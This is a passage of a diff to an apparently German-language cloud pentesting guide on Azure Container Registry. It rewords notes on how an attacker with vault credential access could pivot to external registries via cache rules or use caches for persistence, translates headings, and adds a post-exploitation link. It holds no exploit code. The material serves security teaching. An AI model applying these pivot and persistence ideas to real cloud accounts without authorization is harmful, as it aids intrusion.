ermöglicht es, **Images aus einem externen Repository herunterzuladen** und die neuen Versionen in der Registry zu speichern. Dafür müssen **Credentials konfiguriert** werden, indem die Credentials aus einem Azure Vault ausgewählt werden. -Das ist aus Angreiferperspektive sehr interessant, weil es ermöglicht, zu einer **external platform zu pivoten**, wenn der Angreifer genügend permissions hat, um auf die credentials zuzugreifen, **images aus einem external repository herunterzuladen**, und das Konfigurieren eines cache könnte auch als **persistence mechanism** verwendet werden. +Aus Angreifersicht ist dies sehr interessant, da es ermöglicht, auf eine **externe Plattform zu pivotieren**, wenn der Angreifer über ausreichende Berechtigungen für den Zugriff auf die Credentials verfügt. Das **Herunterladen von Images aus einem externen Repository** und die Konfiguration eines Cache können außerdem als **Persistence-Mechanismus** verwendet werden. ## Enumeration > [!WARNING] -> Es ist sehr wichtig, dass du, selbst wenn der registry-Name einige Großbuchstaben enthält, in der url zum Zugriff nur Kleinbuchstaben verwendest. +> Es ist sehr wichtig, dass in der URL für den Zugriff auf die Registry ausschließlich Kleinbuchstaben verwendet werden, selbst wenn der Name der Registry Großbuchstaben enthält. ```bash # List of all the registries # Check the network, managed identities, adminUserEnabled, softDeletePolicy, url... @@ -149,13 +149,17 @@ az acr cache show --name --registry ../az-unauthenticated-enum-and-initial-entry/az-container-registry-unauth.md {{#endref}} -## Privilege Escalation & Post Exploitation +## Rechteausweitung & Post Exploitation {{#ref}} ../az-privilege-escalation/az-container-registry-privesc.md {{#endref}} -## References +{{#ref}} +../az-post-exploitation/az-container-registry-post-exploitation.md +{{#endref}} + +## Referenzen - [https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication?tabs=azure-cli](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication?tabs=azure-cli) - [https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager)